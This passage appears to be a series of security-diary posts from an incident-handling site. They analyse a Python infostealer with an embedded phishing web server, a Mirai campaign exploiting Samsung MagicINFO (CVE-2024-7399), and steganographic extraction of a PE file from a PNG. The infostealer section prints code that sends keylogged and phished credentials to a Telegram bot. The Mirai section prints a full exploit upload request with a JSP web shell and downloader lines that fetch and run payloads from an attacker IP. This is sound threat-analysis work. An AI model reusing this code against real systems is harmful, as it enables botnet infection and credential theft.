        public static string GetWebcams()
        {
            // Code removed
        }
        public static byte[] GetImage()
        {
            // Code removed
        }
        private static void video_NewFrame(object sender, NewFrameEventArgs eventArgs, string key)
        {
            // Code removed
        }
        public static bool select(int num)
        {
            // Code removed
        }
        public static void init()
        {
            GetWebcams();
        }
    }
}

This is simple example of a "modular" malware! Happy Hunting!

[1] https://www.virustotal.com/gui/file/9cac561e2da992f974286bdb336985c1ee550abd96df68f7e44ce873ef713f4e/details

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2025-05-06

Python InfoStealer with Embedded Phishing Webserver

Infostealers are everywhere for a while now. If this kind of malware is not aggressive, their impact can be much more impacting to the victim. Attackers need always more and more data to be sold or reused in deeper scenarios. A lot of infostealers are similar and have the following capabilities:

  • Antidebugging and anti-VM capabilities
  • Persistence
  • Data scanner (credentials, cookies, wallets, "interesting" keyword in files, ...)
  • Exfiltration

I found another malicious Python script that implements all these capabilities. Persistence is implemeted via a Registry key and a scheduled task (always have a backup solution wink), a keylogger is started, the clipboard content is captured, a screenshot is taken every minute. All data is exfiltrated to a Telegram channel, encrtypted with the Fernet() module:

brAljAVm = "7740489037:AAHgOz-DbTeXM-IqY9luQNPL4uao1kWrudU"
WmeLPHIr = "5395609882"
UJSfiUOF = f"hxxps://api[.]telegram[.]org/bot{brAljAVm}"

def TeqIMJxB(text):
    try:
        enc = bsSlwZVy.encrypt(text.encode())
        requests.post(f"{UJSfiUOF}/sendMessage", data={"chat_id": WmeLPHIr, "text": enc.decode()})
    except:
        pass

All "modules" are started in separate threads:

threading.Thread(target=HXSuYqeM, daemon=True).start()
threading.Thread(target=FRgNaDwJ, daemon=True).start()
threading.Thread(target=yReyYwvL, daemon=True).start()
threading.Thread(target=MinLOVga, daemon=True).start()

What's different in this InfoStealer? The presense of an embedded Flask server[1] used to spawn a rogue webserver:

def MinLOVga():
    app = Flask(__name__)
    fake_sites = {
        "google": "https://accounts.google.com",
        "microsoft": "https://login.microsoftonline.com"
    }
    @app.route("/login/<template>", methods=["GET", "POST"])
    def login(template):
        if request.method == "POST":
            creds = f"{request.form.get('username')}:{request.form.get('password')}"
            TeqIMJxB(f"🎣 {template.upper()} PHISH: {creds}")
            return redirect(fake_sites.get(template, "https://google.com"))
        return '''
        <form method="POST">
            <input name="username" placeholder="Email"><br>
            <input name="password" type="password" placeholder="Password"><br>
            <button>Login</button>
        </form>
        '''
    try:
        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
        context.load_cert_chain("cert.pem", "key.pem")
        threading.Thread(target=app.run, kwargs={
            "host": "0.0.0.0", "port": 443, "ssl_context": context
        }, daemon=True).start()
    except: pass

You can see that the HTTPS server is started using local files cert.pem and key.pem. I did not find them. I presume that this script is part of a "package" distributed to the victim and containing all required files. 

The script is called "2.py" (SHA256:538485a12db0a673623dfbf1ea1ae61a68c5e8f0df5049a51399f30d48aa15d2). Based on the comments in the code, it seems to have been developed by a Turkish threat actor. The VT score is still very low: 3/63[2].

[1] https://flask.palletsprojects.com/en/stable/
[2] https://www.virustotal.com/gui/file/538485a12db0a673623dfbf1ea1ae61a68c5e8f0df5049a51399f30d48aa15d2/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2025-05-05

"Mirai" Now Exploits Samsung MagicINFO CMS (CVE-2024-7399)

Last August, Samsung patched an arbitrary file upload vulnerability that could lead to remote code execution [1]. The announcement was very sparse and did not even include affected systems:

SVP-AUG-2024
SVE-2024-50018(CVE-2024-7399)
Weakness : Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server allows attackers to write arbitrary file as system authority.
Patch information : The patch modifies verification logic of the input.

 

At around the same time, a CVE was assigned to the vulnerability: CVE-2024-7399. The NVD entry has a little bit more details [2]. In particular, it identifies a legacy CMS distributed by Samsung, MagicINFO 9, as the vulnerable software:

Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.

For some reason, this vulnerability was covered in a recent article on Cybersecuritynews, providing additional details [3]:

According to the technical analysis, the /MagicInfo/servlet/SWUpdateFileUploader endpoint implemented by the SWUpdateFileUploadServlet class contains multiple security issues.

Sadly, I can not find a reference to the original technical analysis or who it was performed by in Cybersecuritynews article. But we are now seeing some exploit attempts for the issue.

The POST request we are seeing is a typical "IoT Botnet" style request as we have seen many before. It first uses the magicINFO 9 vulnerability to download a script:

POST /MagicInfo/servlet/SWUpdateFileUploader HTTP/1.1
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 1151
Content-Type: multipart/form-data; boundary=4f3a72624fa5c399c5d203d3617891cb


--4f3a72624fa5c399c5d203d3617891cb

Content-Disposition: form-data; name="file"; filename="1746466018shell.jsp"
Content-Type: application/octet-stream

<%@ page import="java.io.*" %>
<%
try {
    String[] cmd = {
        "/bin/sh", "-c",
        "cd /tmp; cd /var/run; cd /mnt; cd /root; cd /; "
        + "wget http://176.65.142.122/ohshit.sh; "
        + "curl -O http://176.65.142.122/ohshit.sh; "
        + "chmod 777 ohshit.sh; sh ohshit.sh; "
        + "tftp 176.65.142.122 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; "
        + "tftp -r ohshit2.sh -g 176.65.142.122; chmod 777 ohshit2.sh; sh ohshit2.sh; "
        + "ftpget -v -u anonymous -p anonymous -P 21 176.65.142.122 ohshit1.sh ohshit1.sh; sh ohshit1.sh; "
        + "rm -rf ohshit.sh ohshit2.sh ohshit1.sh; rm -rf *"
    };
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
} catch (Exception e) {
    out.println("Error: " + e.toString());
}
%>

--4f3a72624fa5c399c5d203d3617891cb--

The bash script contains the usual "multi-architecture" downloader for the actual bot. I am only including the first couple lines here as they repeat for different architectures:

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://176.65.142.122/hiddenbin/boatnet.x86; curl -O http://176.65.142.122/hiddenbin/boatnet.x86;cat boatnet.x86 >WTF;chmod +x *;./WTF
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://176.65.142.122/hiddenbin/boatnet.mips; curl -O http://176.65.142.122/hiddenbin/boatnet.mips;cat boatnet.mips >WTF;chmod +x *;./WTF
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://176.65.142.122/hiddenbin/boatnet.arc; curl -O http://176.65.142.122/hiddenbin/boatnet.arc;cat boatnet.arc >WTF;chmod +x *;./WTF

The "botnet" bot is well recognized by Virustotal and appears to be yet another version of Mirai, which matches the download behavior [4].

 

[1] https://security.samsungtv.com/securityUpdates
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-7399
[3] https://cybersecuritynews.com/samsung-magicinfo-vulnerability/
[4] https://www.virustotal.com/gui/file/3f26e58cd09804d9c38c6613fb976d8a680555f3eac38a46ef7f3927beaadd26

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2025-05-03

Steganography Challenge

If you are interested in experimenting with steganography and my tools, I propose the following challenge.

This GitHub project is for a steganography tool. It has a PNG image of a stegosaurus with an encoded message.

The challenge is to use my tools to decode the message.

The steganographic algortihm is a bit different than the one I described in diary entry "Steganography Analysis With pngdump.py: Bitstreams".

If you are stuck and need a hint (ROT13): zngevk genafcbfvgvba

Next Saturday, I will post my solution.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

2 Comments

Published: 2025-05-01

Steganography Analysis With pngdump.py: Bitstreams

A friend asked me if my pngdump.py tool can extract individual bits from an image (cfr. diary entry "Steganography Analysis With pngdump.py").

It can not. But another tool can: format-bytes.py.

In the diary entry I mentioned, a PE file is embedded inside a PNG file according to a steganographic method: all the bytes of a channel are replaced by the bytes that make up the PE file. If one would visualize this image, it would be clear that it represents nothing. That it just looks like noise.

Often with steganography, the purpose is to hide a message in some medium, without distorting that medium too much. If it's a picture for example, then one would not notice a difference between the original picture and the altered picture upon visual inspection.

This is often achieved by making small changes to the colors that define individual pixels. Take an 8-bit RGB encoding: each pixel is represented by 3 bytes, one for the intensity of the color red, one for green and one for blue. By changing just the least significant bit (LSB) of each byte that represents the RGB color of the pixel, one can encode 3 bits, without noticable change in the final color (it's a change smaller than 0.5% (1/256)).

Take these pictures for example:

The one on the left is the original picture, the one on the right has an embedded PE file (via LSB steganography). I can't see a difference.

To extract the PE file from the picture on the right, one has to extract the LSB of each color byte, and assemble them into bytes. This can be done with format-bytes.py.

format-bytes.py takes binary data as input and parses it per the instructions of the analyst. I typically use it to parse bytes, like in this example:

format-bytes.py -f "<IBB"

This means the input data should be parsed as a unsigned 32-bit integer (I), little-endian (<), followed by two unsigned bytes (BB).

But format-bytes.py can also extract individual bits: this is done with bitstream processing. Let me show you an example.

The steganographic lake image I created contains an embedded PE file. The bits that make up the bytes of the PE file, are stored in the least significant bit of each color byte of the pixels in the image.

First I encoded the length of the PE file as an unsigned, little-endian 32-bit integer. Using the LSBs of the pixels. And then followed by the PE file itself, also encoded in the LSBs of the pixels.

The following command decodes the length:

pngdump.py -R -d lake-exe.png   | cut-bytes.py 0:32l   | format-bytes.py -d -f "bitstream=f:B,b:0,j:>"   | format-bytes.py

pngdump.py's option -R extracts the raw bitmap of the image, option -d does a binary dump.

This bitmap data is piped into cut-bytes.py to select the first 32 bytes (0:32l). We want the first 32 bytes to extract the 32 LSBs that make up the length of the embedded PE file.

format-bytes.py's option -f "bitstream=f:B,b:0,j:>" instructs the tool to operate on the bit level (bitstream) and to treat the incoming data as individual unsigned bytes (f:B, e.g., format B), to select the least significant bit (b:0, e.g., the bit at position 0 in the byte) and to assemble the extracted bits into bytes in big-endian order (j:>, e.g., join in big-endian order).

That produces 4 bytes, that can then be piped again into another instance of format-bytes, this time to parse the integer.

This output produced by the second instance of format-bytes.py, represents the incoming data in different formats. The line that starts with 4I shows the formatting of 4-byte long integers. ul stand for unsigned & little-endian. Thus the length of the PE file is 58120, this is stored in the LSBs of the first 32 bytes of the raw image.

Now that we know the length of the PE files, we know how many bits to extract: 58120 * 8 = 464960. So from the 32nd byte in the raw image, we take 464960 bytes and process them with the same bitstream method (but this time, I do an HEX/ASCII dump (-a) to view the extracted PE file):

pngdump.py -R -d lake-exe.png   | cut-bytes.py 32:464960l   | format-bytes.py -a -f "bitstream=f:B,b:0,j:>" | headtail.py

This looks indeed as a PE file. Let's do a binary dump and pipe it into tools file-magic.py and pecheck.py to verify that it is indeed a valid PE file:

pngdump.py -R -d lake-exe.png   | cut-bytes.py 32:464960l   | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | file-magic.py

pngdump.py -R -d lake-exe.png   | cut-bytes.py 32:464960l   | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | pecheck.py | headtail.py

We did extract a valid PE file.

And as a final check, since I know the hash of the original file, let's validate it with hash.py:

pngdump.py -R -d lake-exe.png | cut-bytes.py 32:464960l | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | hash.py -v 0a391054e50a4808553466263c9c3b63e895be02c957dbb957da3ba96670cf34

As Johannes explained in his Stormcast episode, there are many ways to encode data using steganography, and it's often hard to detect/extract unless you know the exact algorithm. I was able to decode it with my tools, because I knew exactly how the PE file was encoded (as I did it myself :-) ).

You can find many (online) steganography tools, but they don't always explain how they encode a payload.

If you are interested, tune in this Saturday, I will present you with a challenge diary entry. :-)

 

Didier Stevens
Senior handler
blog.DidierStevens.com

 

 

0 Comments